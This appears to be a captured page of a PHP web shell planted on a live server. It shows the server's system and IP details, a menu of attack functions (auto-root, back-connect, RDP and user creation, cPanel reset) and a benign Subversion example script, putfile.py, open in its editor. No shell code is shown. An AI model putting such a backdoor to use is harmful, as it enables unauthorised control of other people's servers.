Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
subversion-1.7.14 /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
SvnCLBrowse
18.08
KB
-rwxr-xr-x
blame.py
2.99
KB
-rwxr-xr-x
check-modified.py
1.64
KB
-rwxr-xr-x
dumpprops.py
2.24
KB
-rwxr-xr-x
get-location-segments.py
3.9
KB
-rwxr-xr-x
getfile.py
1.83
KB
-rwxr-xr-x
getlocks_test.c
8.51
KB
-rw-r--r--
geturl.py
1.33
KB
-rwxr-xr-x
headrev.c
7.14
KB
-rw-r--r--
info.rb
2.48
KB
-rw-r--r--
minimal_client.c
9.3
KB
-rw-r--r--
putfile.py
2.47
KB
-rwxr-xr-x
revplist.py
2.19
KB
-rwxr-xr-x
svnlog2html.rb
2.71
KB
-rwxr-xr-x
svnlook.py
12.6
KB
-rwxr-xr-x
svnlook.rb
13.23
KB
-rwxr-xr-x
svnput.c
11.43
KB
-rw-r--r--
svnserve-sgid.c
1.82
KB
-rw-r--r--
svnshell.py
11.16
KB
-rwxr-xr-x
svnshell.rb
11.2
KB
-rwxr-xr-x
testwrite.c
8.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : putfile.py
#!/usr/bin/env python # # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # # # # USAGE: putfile.py [-m commitmsg] [-u username] file repos-path # # put a file into an SVN repository # import sys import os import getopt try: my_getopt = getopt.gnu_getopt except AttributeError: my_getopt = getopt.getopt from svn import fs, core, repos, delta def putfile(fname, rpath, uname="", commitmsg=""): rpath = core.svn_path_canonicalize(rpath) repos_ptr = repos.open(rpath) fsob = repos.fs(repos_ptr) # open a transaction against HEAD rev = fs.youngest_rev(fsob) txn = repos.fs_begin_txn_for_commit(repos_ptr, rev, uname, commitmsg) root = fs.txn_root(txn) rev_root = fs.revision_root(fsob, rev) kind = fs.check_path(root, fname) if kind == core.svn_node_none: print("file '%s' does not exist, creating..." % fname) fs.make_file(root, fname) elif kind == core.svn_node_dir: print("File '%s' is a dir." % fname) return else: print("Updating file '%s'" % fname) handler, baton = fs.apply_textdelta(root, fname, None, None) ### it would be nice to get an svn_stream_t. for now, just load in the ### whole file and shove it into the FS. delta.svn_txdelta_send_string(open(fname, 'rb').read(), handler, baton) newrev = repos.fs_commit_txn(repos_ptr, txn) print("revision: %s" % newrev) def usage(): print("USAGE: putfile.py [-m commitmsg] [-u username] file repos-path") sys.exit(1) def main(): opts, args = my_getopt(sys.argv[1:], 'm:u:') if len(args) != 2: usage() uname = commitmsg = "" for name, value in opts: if name == '-u': uname = value if name == '-m': commitmsg = value putfile(args[0], args[1], uname, commitmsg) if __name__ == '__main__': main()
Close